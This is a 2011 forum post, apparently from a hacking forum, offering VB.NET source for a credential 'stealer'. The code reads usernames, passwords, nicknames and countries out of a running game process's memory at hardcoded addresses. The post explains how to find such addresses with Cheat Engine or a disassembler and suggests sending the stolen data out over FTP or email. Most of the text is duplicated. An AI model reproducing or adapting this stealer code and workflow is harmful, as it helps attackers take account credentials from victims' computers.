Jan 3, 2011 01:09 PM
(This post was last modified: Jan 5, 2011 09:11 AM by The-One.)
Hey,
So, I got this code which reads memory of an address, I tried a few things and I made my new stealer.
This function whas ORIGNIALY made by someone I don't know, but I did remember how it worked so I just rewrote it, still all credits to him.
Okey, we will use this to read something out of a PROCESS.
Very easy, and clear. I whas using this to test, thats why I call MSGBox, you can let it like normally upload it to a FTP, make it send a mail or whatever you want.
The addresses:
Using steam:
Spoiler (Click to View)
Its easy to find them, just use Cheat Engine, hook it up to the process you want to steal, log in, search for you password/username, find a static(green) pointer. Note that '&H' means that we tell VB we are using a address which is (&)Hex. These where found using a disassembler (IDA pro/Olly dbg) but you need to know Assembly for that so if you don't know that wonderful low-level language you'd better stick with Cheat Engine.
Example of a static address, (GREEN = static(Address will only change when program updates), BLACK = dynamic(Address will change everytime you restart the program or function))
[img]http://www.plaatjesupload.nl/bekijk/2011/01/03/1294071481-830.png[/img]
This might not work for some process, for things like chrome, IE, firefox you can better use other methods, but for other things like games, or unstored/saved passwords.
Enjoy.
So, I got this code which reads memory of an address, I tried a few things and I made my new stealer.
This function whas ORIGNIALY made by someone I don't know, but I did remember how it worked so I just rewrote it, still all credits to him.
Code
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As IntPtr, ByVal lpBaseAddress As Int32, ByRef lpBuffer As Int32, ByVal nSize As Int32, ByVal lpNumberOfBytesWritten As Int32) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As UInteger, ByVal bInheritHandle As Integer, ByVal dwProcessId As UInteger) As IntPtr
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hHandle As IntPtr) As Boolean
Function Read(ByVal Client As Process, ByVal Address As Int32) As String
Try
Dim i As Int32 = 0, j As Int32 = 0, t As IntPtr = OpenProcess(1080, CInt(False), CUInt(Client.Id)), s As String = ""
Do
ReadProcessMemory(t, Address + j, i, 1, 0)
If i <> 0 Then s = s & Chr(i)
j += 1
Loop Until i = 0
CloseHandle(t)
Return s
Catch
Return Nothing
End Try
End FunctionOkey, we will use this to read something out of a PROCESS.
Code
Dim ACCOUNT As String = ""
For Each p As Process In Process.GetProcessesByName("MyProcess")
ACCOUNT = "Username: " & Read(p, game_account) & _
vbCrLf & "Password: " & Read(p, game_pass) & _
vbCrLf & "Nickname: " & Read(p, game_nickname) & _
vbCrLf & "Country: " & Read(p, game_country)
MsgBox(ACCOUNT)
NextVery easy, and clear. I whas using this to test, thats why I call MSGBox, you can let it like normally upload it to a FTP, make it send a mail or whatever you want.
The addresses:
Code
Dim game_server As String = &HC41938
Dim game_account As String = &HAEAA00
Dim game_nickname As String = &HAEAC40
Dim game_pass As String = &HAEAC00
Dim game_country As String = &HC5FAF4Using steam:
Spoiler (Click to View)
Its easy to find them, just use Cheat Engine, hook it up to the process you want to steal, log in, search for you password/username, find a static(green) pointer. Note that '&H' means that we tell VB we are using a address which is (&)Hex. These where found using a disassembler (IDA pro/Olly dbg) but you need to know Assembly for that so if you don't know that wonderful low-level language you'd better stick with Cheat Engine.
Example of a static address, (GREEN = static(Address will only change when program updates), BLACK = dynamic(Address will change everytime you restart the program or function))
[img]http://www.plaatjesupload.nl/bekijk/2011/01/03/1294071481-830.png[/img]
This might not work for some process, for things like chrome, IE, firefox you can better use other methods, but for other things like games, or unstored/saved passwords.
Enjoy.
FR1908

